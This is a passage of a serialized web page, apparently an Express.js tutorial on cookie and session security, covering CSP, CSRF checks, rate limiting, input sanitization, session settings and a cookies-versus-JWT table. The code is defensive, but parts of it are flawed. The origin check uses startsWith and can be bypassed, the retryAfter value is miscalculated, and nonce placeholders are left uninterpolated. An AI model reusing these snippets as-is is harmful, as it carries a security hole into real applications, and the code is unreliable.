http-equiv",[389,5431,702],{"class":690},[389,5433,705],{"class":690},[389,5435,5436],{"class":399},"Content-Security-Policy",[389,5438,705],{"class":690},[389,5440,5441],{"class":690}," \n",[389,5443,5444,5447,5449,5451],{"class":391,"line":748},[389,5445,5446],{"class":698},"      content",[389,5448,702],{"class":690},[389,5450,705],{"class":690},[389,5452,5453],{"class":399},"default-src 'self'; \n",[389,5455,5456],{"class":391,"line":766},[389,5457,5458],{"class":399},"               script-src 'self' 'nonce-${nonce}'; \n",[389,5460,5461],{"class":391,"line":789},[389,5462,5463],{"class":399},"               style-src 'self' 'unsafe-inline'; \n",[389,5465,5466],{"class":391,"line":818},[389,5467,5468],{"class":399},"               img-src 'self' data: https:; \n",[389,5470,5471],{"class":391,"line":841},[389,5472,5473],{"class":399},"               connect-src 'self'; \n",[389,5475,5476,5479,5481],{"class":391,"line":847},[389,5477,5478],{"class":399},"               frame-ancestors 'none';",[389,5480,705],{"class":690},[389,5482,713],{"class":690},[293,5484,5486],{"id":5485},"_3-enhanced-csrf-protection","3. Enhanced CSRF Protection",[380,5488,5490],{"className":4020,"code":5489,"language":4022,"meta":96,"style":96},"const csrf = require('csurf');\nconst helmet = require('helmet');\n\n// Multiple CSRF protection layers\napp.use(helmet());\napp.use(csrf({ cookie: true }));\n\n// Custom CSRF validation with additional checks\napp.use((req, res, next) => {\n  if (req.method === 'POST' || req.method === 'PUT' || req.method === 'DELETE') {\n    // Check CSRF token\n    const token = req.headers['x-csrf-token'] || req.body._csrf;\n    if (!token || token !== req.session.csrfToken) {\n      return res.status(403).json({ error: 'CSRF token invalid' });\n    }\n    \n    // Additional Origin verification\n    const origin = req.headers.origin || req.headers.referer;\n    if (origin && !isValidOrigin(origin)) {\n      return res.status(403).json({ error: 'Invalid origin' });\n    }\n  }\n  next();\n});\n\nfunction isValidOrigin(origin) {\n  const allowedOrigins = ['https://yourdomain.com', 'https://app.yourdomain.com'];\n  return allowedOrigins.some(allowed => origin.startsWith(allowed));\n}\n",[386,5491,5492,5497,5502,5506,5511,5516,5521,5525,5530,5535,5540,5545,5550,5555,5560,5564,5569,5574,5579,5584,5589,5593,5597,5602,5606,5610,5615,5620,5625],{"__ignoreMap":96},[389,5493,5494],{"class":391,"line":392},[389,5495,5496],{},"const csrf = require('csurf');\n",[389,5498,5499],{"class":391,"line":716},[389,5500,5501],{},"const helmet = require('helmet');\n",[389,5503,5504],{"class":391,"line":748},[389,5505,844],{"emptyLinePlaceholder":251},[389,5507,5508],{"class":391,"line":766},[389,5509,5510],{},"// Multiple CSRF protection layers\n",[389,5512,5513],{"class":391,"line":789},[389,5514,5515],{},"app.use(helmet());\n",[389,5517,5518],{"class":391,"line":818},[389,5519,5520],{},"app.use(csrf({ cookie: true }));\n",[389,5522,5523],{"class":391,"line":841},[389,5524,844],{"emptyLinePlaceholder":251},[389,5526,5527],{"class":391,"line":847},[389,5528,5529],{},"// Custom CSRF validation with additional checks\n",[389,5531,5532],{"class":391,"line":883},[389,5533,5534],{},"app.use((req, res, next) => {\n",[389,5536,5537],{"class":391,"line":888},[389,5538,5539],{},"  if (req.method === 'POST' || req.method === 'PUT' || req.method === 'DELETE') {\n",[389,5541,5542],{"class":391,"line":940},[389,5543,5544],{},"    // Check CSRF token\n",[389,5546,5547],{"class":391,"line":952},[389,5548,5549],{},"    const token = req.headers['x-csrf-token'] || req.body._csrf;\n",[389,5551,5552],{"class":391,"line":959},[389,5553,5554],{},"    if (!token || token !== req.session.csrfToken) {\n",[389,5556,5557],{"class":391,"line":975},[389,5558,5559],{},"      return res.status(403).json({ error: 'CSRF token invalid' });\n",[389,5561,5562],{"class":391,"line":981},[389,5563,2569],{},[389,5565,5566],{"class":391,"line":1014},[389,5567,5568],{},"    \n",[389,5570,5571],{"class":391,"line":1042},[389,5572,5573],{},"    // Additional Origin verification\n",[389,5575,5576],{"class":391,"line":1047},[389,5577,5578],{},"    const origin = req.headers.origin || req.headers.referer;\n",[389,5580,5581],{"class":391,"line":1059},[389,5582,5583],{},"    if (origin && !isValidOrigin(origin)) {\n",[389,5585,5586],{"class":391,"line":1064},[389,5587,5588],{},"      return res.status(403).json({ error: 'Invalid origin' });\n",[389,5590,5591],{"class":391,"line":1093},[389,5592,2569],{},[389,5594,5595],{"class":391,"line":1121},[389,5596,2161],{},[389,5598,5599],{"class":391,"line":1126},[389,5600,5601],{},"  next();\n",[389,5603,5604],{"class":391,"line":1138},[389,5605,4936],{},[389,5607,5608],{"class":391,"line":1143},[389,5609,844],{"emptyLinePlaceholder":251},[389,5611,5612],{"class":391,"line":1172},[389,5613,5614],{},"function isValidOrigin(origin) {\n",[389,5616,5617],{"class":391,"line":1178},[389,5618,5619],{},"  const allowedOrigins = ['https://yourdomain.com', 'https://app.yourdomain.com'];\n",[389,5621,5622],{"class":391,"line":1189},[389,5623,5624],{},"  return allowedOrigins.some(allowed => origin.startsWith(allowed));\n",[389,5626,5627],{"class":391,"line":1195},[389,5628,1342],{},[293,5630,5632],{"id":5631},"_4-advanced-rate-limiting-with-attack-detection","4. Advanced Rate Limiting with Attack Detection",[380,5634,5636],{"className":4020,"code":5635,"language":4022,"meta":96,"style":96},"const rateLimit = require('express-rate-limit');\nconst RedisStore = require('rate-limit-redis');\n\n// Sophisticated rate limiting\nconst loginLimiter = rateLimit({\n  store: new RedisStore({\n    client: redisClient,\n    prefix: 'login_limit:'\n  }),\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 5, // Only 5 attempts\n  message: 'Too many login attempts',\n  standardHeaders: true,\n  legacyHeaders: false,\n  skipSuccessfulRequests: true,\n  handler: (req, res) => {\n    // Log potential attack\n    logger.warn(`Potential brute force attack from ${req.ip}`);\n    res.status(429).json({ \n      error: 'Too many login attempts',\n      retryAfter: Math.ceil(15 * 60 / 1000) // minutes\n    });\n  }\n});\n\n// Separate limiter for sensitive actions\nconst sensitiveActionLimiter = rateLimit({\n  windowMs: 60 * 1000, // 1 minute\n  max: 3, // Only 3 sensitive actions per minute\n  message: 'Too many sensitive actions',\n  skipSuccessfulRequests: false\n});\n\napp.use('/api/change-password', sensitiveActionLimiter);\napp.use('/api/transfer-money', sensitiveActionLimiter);\n",[386,5637,5638,5643,5648,5652,5657,5662,5667,5672,5677,5682,5687,5692,5697,5702,5707,5712,5717,5722,5727,5732,5737,5742,5747,5751,5755,5759,5764,5769,5774,5779,5784,5789,5793,5797,5802],{"__ignoreMap":96},[389,5639,5640],{"class":391,"line":392},[389,5641,5642],{},"const rateLimit = require('express-rate-limit');\n",[389,5644,5645],{"class":391,"line":716},[389,5646,5647],{},"const RedisStore = require('rate-limit-redis');\n",[389,5649,5650],{"class":391,"line":748},[389,5651,844],{"emptyLinePlaceholder":251},[389,5653,5654],{"class":391,"line":766},[389,5655,5656],{},"// Sophisticated rate limiting\n",[389,5658,5659],{"class":391,"line":789},[389,5660,5661],{},"const loginLimiter = rateLimit({\n",[389,5663,5664],{"class":391,"line":818},[389,5665,5666],{},"  store: new RedisStore({\n",[389,5668,5669],{"class":391,"line":841},[389,5670,5671],{},"    client: redisClient,\n",[389,5673,5674],{"class":391,"line":847},[389,5675,5676],{},"    prefix: 'login_limit:'\n",[389,5678,5679],{"class":391,"line":883},[389,5680,5681],{},"  }),\n",[389,5683,5684],{"class":391,"line":888},[389,5685,5686],{},"  windowMs: 15 * 60 * 1000, // 15 minutes\n",[389,5688,5689],{"class":391,"line":940},[389,5690,5691],{},"  max: 5, // Only 5 attempts\n",[389,5693,5694],{"class":391,"line":952},[389,5695,5696],{},"  message: 'Too many login attempts',\n",[389,5698,5699],{"class":391,"line":959},[389,5700,5701],{},"  standardHeaders: true,\n",[389,5703,5704],{"class":391,"line":975},[389,5705,5706],{},"  legacyHeaders: false,\n",[389,5708,5709],{"class":391,"line":981},[389,5710,5711],{},"  skipSuccessfulRequests: true,\n",[389,5713,5714],{"class":391,"line":1014},[389,5715,5716],{},"  handler: (req, res) => {\n",[389,5718,5719],{"class":391,"line":1042},[389,5720,5721],{},"    // Log potential attack\n",[389,5723,5724],{"class":391,"line":1047},[389,5725,5726],{},"    logger.warn(`Potential brute force attack from ${req.ip}`);\n",[389,5728,5729],{"class":391,"line":1059},[389,5730,5731],{},"    res.status(429).json({ \n",[389,5733,5734],{"class":391,"line":1064},[389,5735,5736],{},"      error: 'Too many login attempts',\n",[389,5738,5739],{"class":391,"line":1093},[389,5740,5741],{},"      retryAfter: Math.ceil(15 * 60 / 1000) // minutes\n",[389,5743,5744],{"class":391,"line":1121},[389,5745,5746],{},"    });\n",[389,5748,5749],{"class":391,"line":1126},[389,5750,2161],{},[389,5752,5753],{"class":391,"line":1138},[389,5754,4936],{},[389,5756,5757],{"class":391,"line":1143},[389,5758,844],{"emptyLinePlaceholder":251},[389,5760,5761],{"class":391,"line":1172},[389,5762,5763],{},"// Separate limiter for sensitive actions\n",[389,5765,5766],{"class":391,"line":1178},[389,5767,5768],{},"const sensitiveActionLimiter = rateLimit({\n",[389,5770,5771],{"class":391,"line":1189},[389,5772,5773],{},"  windowMs: 60 * 1000, // 1 minute\n",[389,5775,5776],{"class":391,"line":1195},[389,5777,5778],{},"  max: 3, // Only 3 sensitive actions per minute\n",[389,5780,5781],{"class":391,"line":1205},[389,5782,5783],{},"  message: 'Too many sensitive actions',\n",[389,5785,5786],{"class":391,"line":1211},[389,5787,5788],{},"  skipSuccessfulRequests: false\n",[389,5790,5791],{"class":391,"line":1221},[389,5792,4936],{},[389,5794,5795],{"class":391,"line":1307},[389,5796,844],{"emptyLinePlaceholder":251},[389,5798,5799],{"class":391,"line":1318},[389,5800,5801],{},"app.use('/api/change-password', sensitiveActionLimiter);\n",[389,5803,5804],{"class":391,"line":1339},[389,5805,5806],{},"app.use('/api/transfer-money', sensitiveActionLimiter);\n",[293,5808,5810],{"id":5809},"_5-input-sanitization-and-validation","5. Input Sanitization and Validation",[380,5812,5814],{"className":4020,"code":5813,"language":4022,"meta":96,"style":96},"const xss = require('xss-clean');\nconst validator = require('validator');\n\n// XSS protection\napp.use(xss());\n\n// Input validation middleware\nconst validateInput = (req, res, next) => {\n  // Sanitize all string inputs\n  Object.keys(req.body).forEach(key => {\n    if (typeof req.body[key] === 'string') {\n      req.body[key] = validator.escape(req.body[key]);\n      req.body[key] = validator.trim(req.body[key]);\n    }\n  });\n  \n  // Validate email format\n  if (req.body.email && !validator.isEmail(req.body.email)) {\n    return res.status(400).json({ error: 'Invalid email format' });\n  }\n  \n  next();\n};\n\napp.use(validateInput);\n",[386,5815,5816,5821,5826,5830,5835,5840,5844,5849,5854,5859,5864,5869,5874,5879,5883,5887,5891,5896,5901,5906,5910,5914,5918,5923,5927],{"__ignoreMap":96},[389,5817,5818],{"class":391,"line":392},[389,5819,5820],{},"const xss = require('xss-clean');\n",[389,5822,5823],{"class":391,"line":716},[389,5824,5825],{},"const validator = require('validator');\n",[389,5827,5828],{"class":391,"line":748},[389,5829,844],{"emptyLinePlaceholder":251},[389,5831,5832],{"class":391,"line":766},[389,5833,5834],{},"// XSS protection\n",[389,5836,5837],{"class":391,"line":789},[389,5838,5839],{},"app.use(xss());\n",[389,5841,5842],{"class":391,"line":818},[389,5843,844],{"emptyLinePlaceholder":251},[389,5845,5846],{"class":391,"line":841},[389,5847,5848],{},"// Input validation middleware\n",[389,5850,5851],{"class":391,"line":847},[389,5852,5853],{},"const validateInput = (req, res, next) => {\n",[389,5855,5856],{"class":391,"line":883},[389,5857,5858],{},"  // Sanitize all string inputs\n",[389,5860,5861],{"class":391,"line":888},[389,5862,5863],{},"  Object.keys(req.body).forEach(key => {\n",[389,5865,5866],{"class":391,"line":940},[389,5867,5868],{},"    if (typeof req.body[key] === 'string') {\n",[389,5870,5871],{"class":391,"line":952},[389,5872,5873],{},"      req.body[key] = validator.escape(req.body[key]);\n",[389,5875,5876],{"class":391,"line":959},[389,5877,5878],{},"      req.body[key] = validator.trim(req.body[key]);\n",[389,5880,5881],{"class":391,"line":975},[389,5882,2569],{},[389,5884,5885],{"class":391,"line":981},[389,5886,4876],{},[389,5888,5889],{"class":391,"line":1014},[389,5890,4227],{},[389,5892,5893],{"class":391,"line":1042},[389,5894,5895],{},"  // Validate email format\n",[389,5897,5898],{"class":391,"line":1047},[389,5899,5900],{},"  if (req.body.email && !validator.isEmail(req.body.email)) {\n",[389,5902,5903],{"class":391,"line":1059},[389,5904,5905],{},"    return res.status(400).json({ error: 'Invalid email format' });\n",[389,5907,5908],{"class":391,"line":1064},[389,5909,2161],{},[389,5911,5912],{"class":391,"line":1093},[389,5913,4227],{},[389,5915,5916],{"class":391,"line":1121},[389,5917,5601],{},[389,5919,5920],{"class":391,"line":1126},[389,5921,5922],{},"};\n",[389,5924,5925],{"class":391,"line":1138},[389,5926,844],{"emptyLinePlaceholder":251},[389,5928,5929],{"class":391,"line":1143},[389,5930,5931],{},"app.use(validateInput);\n",[293,5933,5935],{"id":5934},"_6-session-security-enhancements","6. Session Security Enhancements",[380,5937,5939],{"className":4020,"code":5938,"language":4022,"meta":96,"style":96},"// Session configuration with security features\napp.use(session({\n  secret: process.env.SESSION_SECRET,\n  name: 'sessionId', // Change default cookie name\n  cookie: {\n    httpOnly: true,\n    secure: process.env.NODE_ENV === 'production',\n    sameSite: 'strict',\n    maxAge: 1000 * 60 * 60 * 2, // 2 hours\n    path: '/',\n    domain: process.env.COOKIE_DOMAIN\n  },\n  resave: false,\n  saveUninitialized: false,\n  rolling: true, // Extend session on activity\n  unset: 'destroy' // Remove session from response\n}));\n\n// Session fixation protection\napp.use((req, res, next) => {\n  if (req.session.userId && !req.session.authenticated) {\n    // Regenerate session ID after login\n    req.session.regenerate((err) => {\n      if (err) return next(err);\n      req.session.userId = req.session.userId;\n      req.session.authenticated = true;\n      next();\n    });\n  } else {\n    next();\n  }\n});\n",[386,5940,5941,5946,5950,5954,5959,5963,5968,5973,5978,5983,5987,5992,5996,6001,6006,6011,6016,6020,6024,6029,6033,6038,6043,6048,6053,6058,6063,6068,6072,6077,6082,6086],{"__ignoreMap":96},[389,5942,5943],{"class":391,"line":392},[389,5944,5945],{},"// Session configuration with security features\n",[389,5947,5948],{"class":391,"line":716},[389,5949,5351],{},[389,5951,5952],{"class":391,"line":748},[389,5953,5356],{},[389,5955,5956],{"class":391,"line":766},[389,5957,5958],{},"  name: 'sessionId', // Change default cookie name\n",[389,5960,5961],{"class":391,"line":789},[389,5962,5361],{},[389,5964,5965],{"class":391,"line":818},[389,5966,5967],{},"    httpOnly: true,\n",[389,5969,5970],{"class":391,"line":841},[389,5971,5972],{},"    secure: process.env.NODE_ENV === 'production',\n",[389,5974,5975],{"class":391,"line":847},[389,5976,5977],{},"    sameSite: 'strict',\n",[389,5979,5980],{"class":391,"line":883},[389,5981,5982],{},"    maxAge: 1000 * 60 * 60 * 2, // 2 hours\n",[389,5984,5985],{"class":391,"line":888},[389,5986,4067],{},[389,5988,5989],{"class":391,"line":940},[389,5990,5991],{},"    domain: process.env.COOKIE_DOMAIN\n",[389,5993,5994],{"class":391,"line":952},[389,5995,4082],{},[389,5997,5998],{"class":391,"line":959},[389,5999,6000],{},"  resave: false,\n",[389,6002,6003],{"class":391,"line":975},[389,6004,6005],{},"  saveUninitialized: false,\n",[389,6007,6008],{"class":391,"line":981},[389,6009,6010],{},"  rolling: true, // Extend session on activity\n",[389,6012,6013],{"class":391,"line":1014},[389,6014,6015],{},"  unset: 'destroy' // Remove session from response\n",[389,6017,6018],{"class":391,"line":1042},[389,6019,5405],{},[389,6021,6022],{"class":391,"line":1047},[389,6023,844],{"emptyLinePlaceholder":251},[389,6025,6026],{"class":391,"line":1059},[389,6027,6028],{},"// Session fixation protection\n",[389,6030,6031],{"class":391,"line":1064},[389,6032,5534],{},[389,6034,6035],{"class":391,"line":1093},[389,6036,6037],{},"  if (req.session.userId && !req.session.authenticated) {\n",[389,6039,6040],{"class":391,"line":1121},[389,6041,6042],{},"    // Regenerate session ID after login\n",[389,6044,6045],{"class":391,"line":1126},[389,6046,6047],{},"    req.session.regenerate((err) => {\n",[389,6049,6050],{"class":391,"line":1138},[389,6051,6052],{},"      if (err) return next(err);\n",[389,6054,6055],{"class":391,"line":1143},[389,6056,6057],{},"      req.session.userId = req.session.userId;\n",[389,6059,6060],{"class":391,"line":1172},[389,6061,6062],{},"      req.session.authenticated = true;\n",[389,6064,6065],{"class":391,"line":1178},[389,6066,6067],{},"      next();\n",[389,6069,6070],{"class":391,"line":1189},[389,6071,5746],{},[389,6073,6074],{"class":391,"line":1195},[389,6075,6076],{},"  } else {\n",[389,6078,6079],{"class":391,"line":1205},[389,6080,6081],{},"    next();\n",[389,6083,6084],{"class":391,"line":1211},[389,6085,2161],{},[389,6087,6088],{"class":391,"line":1221},[389,6089,4936],{},[284,6091,6093],{"id":6092},"comparison-cookies-vs-jwt","🔄 Comparison: Cookies vs JWT",[6095,6096,6097,6113],"table",{},[6098,6099,6100],"thead",{},[6101,6102,6103,6107,6110],"tr",{},[6104,6105,6106],"th",{},"Feature",[6104,6108,6109],{},"Cookies",[6104,6111,6112],{},"JWT",[6114,6115,6116,6128,6139,6150,6161,6170,6181],"tbody",{},[6101,6117,6118,6122,6125],{},[6119,6120,6121],"td",{},"Security",[6119,6123,6124],{},"Higher with httpOnly",[6119,6126,6127],{},"Lower (stored in localStorage)",[6101,6129,6130,6133,6136],{},[6119,6131,6132],{},"Size",[6119,6134,6135],{},"Small",[6119,6137,6138],{},"Larger",[6101,6140,6141,6144,6147],{},[6119,6142,6143],{},"Storage",[6119,6145,6146],{},"Automatic",[6119,6148,6149],{},"Manual",[6101,6151,6152,6155,6158],{},[6119,6153,6154],{},"CSRF",[6119,6156,6157],{},"Vulnerable",[6119,6159,6160],{},"Protected",[6101,6162,6163,6166,6168],{},[6119,6164,6165],{},"XSS",[6119,6167,6160],{},[6119,6169,6157],{},[6101,6171,6172,6175,6178],{},[6119,6173,6174],{},"Session Management",[6119,6176,6177],{},"Server-side",[6119,6179,6180],{},"Client-side",[6101,6182,6183,6186,6189],{},[6119,6184,6185],{},"Revocation",[6119,6187,6188],{},"Easy",[6119,6190,6191],{},"Difficult",[284,6193,6195],{"id":6194},"advanced-implementation-tips","💡 Advanced Implementation Tips",[3701,6197,6198,6204,6210,6216,6222,6228,6234,6240],{},[311,6199,6200,6203],{},[314,6201,6202],{},"Always use HTTPS"," - Cookies are not secure on HTTP",[311,6205,6206,6209],{},[314,6207,6208],{},"Regenerate session ID"," after login/logout and privilege changes",[311,6211,6212,6215],{},[314,6213,6214],{},"Use secure random tokens"," - Don't use predictable values",[311,6217,6218,6221],{},[314,6219,6220],{},"Monitor attack attempts"," - Implement comprehensive logging and monitoring",[311,6223,6224,6227],{},[314,6225,6226],{},"Test application security"," - Use tools like OWASP ZAP, Burp Suite",[311,6229,6230,6233],{},[314,6231,6232],{},"Implement defense in depth"," - Multiple security layers",[311,6235,6236,6239],{},[314,6237,6238],{},"Regular security audits"," - Penetration testing and code reviews",[311,6241,6242,6245],{},[314,6243,6244],{},"Stay updated"," - Keep security libraries and dependencies current",[284,6247,6249],{"id":6248},"complete-security-first-expressjs-setup","🚀 Complete Security-First Express.js Setup",[380,6251,6253],{"className":4020,"code":6252,"language":4022,"meta":96,"style":96},"// Complete Express.js setup with advanced security\nconst express = require('express');\nconst session = require('express-session');\nconst helmet = require('helmet');\nconst rateLimit = require('express-rate-limit');\nconst RedisStore = require('connect-redis').default;\nconst redis = require('redis');\nconst csrf = require('csurf');\nconst xss = require('xss-clean');\nconst hpp = require('hpp');\n\nconst app = express();\n\n// Initialize Redis\nconst redisClient = redis.createClient({\n  host: process.env.REDIS_HOST,\n  port: process.env.REDIS_PORT,\n  password: process.env.REDIS_PASSWORD\n});\n\n// Security middleware\napp.use(helmet({\n  contentSecurityPolicy: {\n    directives: {\n      defaultSrc: [\"'self'\"],\n      scriptSrc: [\"'self'\", \"'nonce-${nonce}'\"],\n      styleSrc: [\"'self'\", \"'unsafe-inline'\"],\n      imgSrc: [\"'self'\", \"data:\", \"https:\"],\n      connectSrc: [\"'self'\"],\n      frameAncestors: [\"'none'\"]\n    }\n  },\n  hsts: {\n    maxAge: 31536000,\n    includeSubDomains: true,\n    preload: true\n  }\n}));\n\n// Additional security headers\napp.use(hpp()); // Protect against HTTP Parameter Pollution\napp.use(xss()); // XSS protection\n\n// Rate limiting\nconst globalLimiter = rateLimit({\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 100, // Limit each IP to 100 requests per windowMs\n  message: 'Too many requests from this IP'\n});\n\napp.use(globalLimiter);\n\n// Session configuration\napp.use(session({\n  store: new RedisStore({ client: redisClient }),\n  secret: process.env.SESSION_SECRET,\n  name: 'sessionId',\n  cookie: {\n    httpOnly: true,\n    secure: process.env.NODE_ENV === 'production',\n    sameSite: 'strict',\n    maxAge: 1000 * 60 * 60 * 2, // 2 hours\n    path: '/',\n    domain: process.env.COOKIE_DOMAIN\n  },\n  resave: false,\n  saveUninitialized: false,\n  rolling: true\n}));\n\n// CSRF protection\napp.use(csrf({ cookie: true }));\n\n// CSRF token middleware\napp.use((req, res, next) => {\n  res.locals.csrfToken = req.csrfToken();\n  next();\n});\n\n// Enhanced CSRF validation\napp.use((req, res, next) => {\n  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {\n    const token = req.headers['x-csrf-token'] || req.body._csrf;\n    if (!token || token !== req.session.csrfToken) {\n      return res.status(403).json({ error: 'CSRF token invalid' });\n    }\n    \n    // Origin verification\n    const origin = req.headers.origin || req.headers.referer;\n    if (origin && !isValidOrigin(origin)) {\n      return res.status(403).json({ error: 'Invalid origin' });\n    }\n  }\n  next();\n});\n\n// Security headers middleware\napp.use((req, res, next) => {\n  res.setHeader('X-Content-Type-Options', 'nosniff');\n  res.setHeader('X-Frame-Options', 'DENY');\n  res.setHeader('X-XSS-Protection', '1; mode=block');\n  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');\n  next();\n});\n\nfunction isValidOrigin(origin) {\n  const allowedOrigins = [\n    'https://yourdomain.com',\n    'https://app.yourdomain.com',\n    'https://api.yourdomain.com'\n  ];\n  return allowedOrigins.some(allowed => origin.startsWith(allowed));\n}\n",[386,6254,6255,6260,6265,6270,6274,6278,6283,6288,6292,6296,6301,6305,6310,6314,6319,6324,6329,6334,6339,6343,6347,6352,6357,6362,6367,6372,6377,6382,6387,6392,6397,6401,6405,6410,6415,6420,6425,6429,6433,6437,6442,6447,6452,6456,6461,6466,6470,6475,6480,6484,6488,6493,6497,6502,6506,6511,6515,6520,6524,6528,6532,6536,6540,6544,6548,6552,6556,6560,6565,6569,6573,6578,6582,6586,6591,6595,6600,6604,6608,6612,6617,6621,6626,6630,6634,6638,6642,6646,6651,6655,6659,6663,6667,6671,6675,6679,6683,6688,6692,6697,6702,6707,6712,6716,6720,6724,6728,6733,6738,6743,6748,6753,6757],{"__ignoreMap":96},[389,6256,6257],{"class":391,"line":392},[389,6258,6259],{},"// Complete Express.js setup with advanced security\n",[389,6261,6262],{"class":391,"line":716},[389,6263,6264],{},"const express = require('express');\n",[389,6266,6267],{"class":391,"line":748},[389,6268,6269],{},"const session = require('express-session');\n",[389,6271,6272],{"class":391,"line":766},[389,6273,5501],{},[389,6275,6276],{"class":391,"line":789},[389,6277,5642],{},[389,6279,6280],{"class":391,"line":818},[389,6281,6282],{},"const RedisStore = require('connect-redis').default;\n",[389,6284,6285],{"class":391,"line":841},[389,6286,6287],{},"const redis = require('redis');\n",[389,6289,6290],{"class":391,"line":847},[389,6291,5496],{},[389,6293,6294],{"class":391,"line":883},[389,6295,5820],{},[389,6297,6298],{"class":391,"line":888},[389,6299,6300],{},"const hpp = require('hpp');\n",[389,6302,6303],{"class":391,"line":940},[389,6304,844],{"emptyLinePlaceholder":251},[389,6306,6307],{"class":391,"line":952},[389,6308,6309],{},"const app = express();\n",[389,6311,6312],{"class":391,"line":959},[389,6313,844],{"emptyLinePlaceholder":251},[389,6315,6316],{"class":391,"line":975},[389,6317,6318],{},"// Initialize Redis\n",[389,6320,6321],{"class":391,"line":981},[389,6322,6323],{},"const redisClient = redis.createClient({\n",[389,6325,6326],{"class":391,"line":1014},[389,6327,6328],{},"  host: process.env.REDIS_HOST,\n",[389,6330,6331],{"class":391,"line":1042},[389,6332,6333],{},"  port: process.env.REDIS_PORT,\n",[389,6335,6336],{"class":391,"line":1047},[389,6337,6338],{},"  password: process.env.REDIS_PASSWORD\n",[389,6340,6341],{"class":391,"line":1059},[389,6342,4936],{},[389,6344,6345],{"class":391,"line":1064},[389,6346,844],{"emptyLinePlaceholder":251},[389,6348,6349],{"class":391,"line":1093},[389,6350,6351],{},"// Security middleware\n",[389,6353,6354],{"class":391,"line":1121},[389,6355,6356],{},"app.use(helmet({\n",[389,6358,6359],{"class":391,"line":1126},[389,6360,6361],{},"  contentSecurityPolicy: {\n",[389,6363,6364],{"class":391,"line":1138},[389,6365,6366],{},"    directives: {\n",[389,6368,6369],{"class":391,"line":1143},[389,6370,6371],{},"      defaultSrc: [\"'self'\"],\n",[389,6373,6374],{"class":391,"line":1172},[389,6375,6376],{},"      scriptSrc: [\"'self'\", \"'nonce-${nonce}'\"],\n",[389,6378,6379],{"class":391,"line":1178},[389,6380,6381],{},"      styleSrc: [\"'self'\", \"'unsafe-inline'\"],\n",[389,6383,6384],{"class":391,"line":1189},[389,6385,6386],{},"      imgSrc: [\"'self'\", \"data:\", \"https:\"],\n",[389,6388,6389],{"class":391,"line":1195},[389,6390,6391],{},"      connectSrc: [\"'self'\"],\n",[389,6393,6394],{"class":391,"line":1205},[389,6395,6396],{},"      frameAncestors: [\"'none'\"]\n",[389,6398,6399],{"class":391,"line":1211},[389,6400,2569],{},[389,6402,6403],{"class":391,"line":1221},[389,6404,4082],{},[389,6406,6407],{"class":391,"line":1307},[389,6408,6409],{},"  hsts: {\n",[389,6411,6412],{"class":391,"line":1318},[389,6413,6414],{},"    maxAge: 31536000,\n",[389,6416,6417],{"class":391,"line":1339},[389,6418,6419],{},"    includeSubDomains: true,\n",[389,6421,6422],{"class":391,"line":1345},[389,6423,6424],{},"    preload: true\n",[389,6426,6427],{"class":391,"line":1350},[389,6428,2161],{},[389,6430,6431],{"class":391,"line":1362},[389,6432,5405],{},[389,6434,6435],{"class":391,"line":1380},[389,6436,844],{"emptyLinePlaceholder":251},[389,6438,6439],{"class":391,"line":1396},[389,6440,6441],{},"// Additional security headers\n",[389,6443,6444],{"class":391,"line":1412},[389,6445,6446],{},"app.use(hpp()); // Protect against HTTP Parameter Pollution\n",[389,6448,6449],{"class":391,"line":1417},[389,6450,6451],{},"app.use(xss()); // XSS protection\n",[389,6453,6454],{"class":391,"line":1427},[389,6455,844],{"emptyLinePlaceholder":251},[389,6457,6458],{"class":391,"line":1432},[389,6459,6460],{},"// Rate limiting\n",[389,6462,6463],{"class":391,"line":1454},[389,6464,6465],{},"const globalLimiter = rateLimit({\n",[389,6467,6468],{"class":391,"line":1484},[389,6469,5686],{},[389,6471,6472],{"class":391,"line":1506},[389,6473,6474],{},"  max: 100, // Limit each IP to 100 requests per windowMs\n",[389,6476,6477],{"class":391,"line":1527},[389,6478,6479],{},"  message: 'Too many requests from this IP'\n",[389,6481,6482],{"class":391,"line":1548},[389,6483,4936],{},[389,6485,6486],{"class":391,"line":1569},[389,6487,844],{"emptyLinePlaceholder":251},[389,6489,6490],{"class":391,"line":1589},[389,6491,6492],{},"app.use(globalLimiter);\n",[389,6494,6495],{"class":391,"line":1610},[389,6496,844],{"emptyLinePlaceholder":251},[389,6498,6499],{"class":391,"line":1631},[389,6500,6501],{},"// Session configuration\n",[389,6503,6504],{"class":391,"line":1657},[389,6505,5351],{},[389,6507,6508],{"class":391,"line":1678},[389,6509,6510],{},"  store: new RedisStore({ client: redisClient }),\n",[389,6512,6513],{"class":391,"line":1699},[389,6514,5356],{},[389,6516,6517],{"class":391,"line":1716},[389,6518,6519],{},"  name: 'sessionId',\n",[389,6521,6522],{"class":391,"line":1733},[389,6523,5361],{},[389,6525,6526],{"class":391,"line":1750},[389,6527,5967],{},[389,6529,6530],{"class":391,"line":1767},[389,6531,5972],{},[389,6533,6534],{"class":391,"line":1772},[389,6535,5977],{},[389,6537,6538],{"class":391,"line":1797},[389,6539,5982],{},[389,6541,6542],{"class":391,"line":1819},[389,6543,4067],{},[389,6545,6546],{"class":391,"line":1824},[389,6547,5991],{},[389,6549,6550],{"class":391,"line":1855},[389,6551,4082],{},[389,6553,6554],{"class":391,"line":1891},[389,6555,6000],{},[389,6557,6558],{"class":391,"line":1896},[389,6559,6005],{},[389,6561,6562],{"class":391,"line":1916},[389,6563,6564],{},"  rolling: true\n",[389,6566,6567],{"class":391,"line":1921},[389,6568,5405],{},[389,6570,6571],{"class":391,"line":1942},[389,6572,844],{"emptyLinePlaceholder":251},[389,6574,6575],{"class":391,"line":1982},[389,6576,6577],{},"// CSRF protection\n",[389,6579,6580],{"class":391,"line":1987},[389,6581,5520],{},[389,6583,6584],{"class":391,"line":2011},[389,6585,844],{"emptyLinePlaceholder":251},[389,6587,6588],{"class":391,"line":2028},[389,6589,6590],{},"// CSRF token middleware\n",[389,6592,6593],{"class":391,"line":2081},[389,6594,5534],{},[389,6596,6597],{"class":391,"line":2089},[389,6598,6599],{},"  res.locals.csrfToken = req.csrfToken();\n",[389,6601,6602],{"class":391,"line":2132},[389,6603,5601],{},[389,6605,6606],{"class":391,"line":2143},[389,6607,4936],{},[389,6609,6610],{"class":391,"line":2158},[389,6611,844],{"emptyLinePlaceholder":251},[389,6613,6614],{"class":391,"line":2164},[389,6615,6616],{},"// Enhanced CSRF 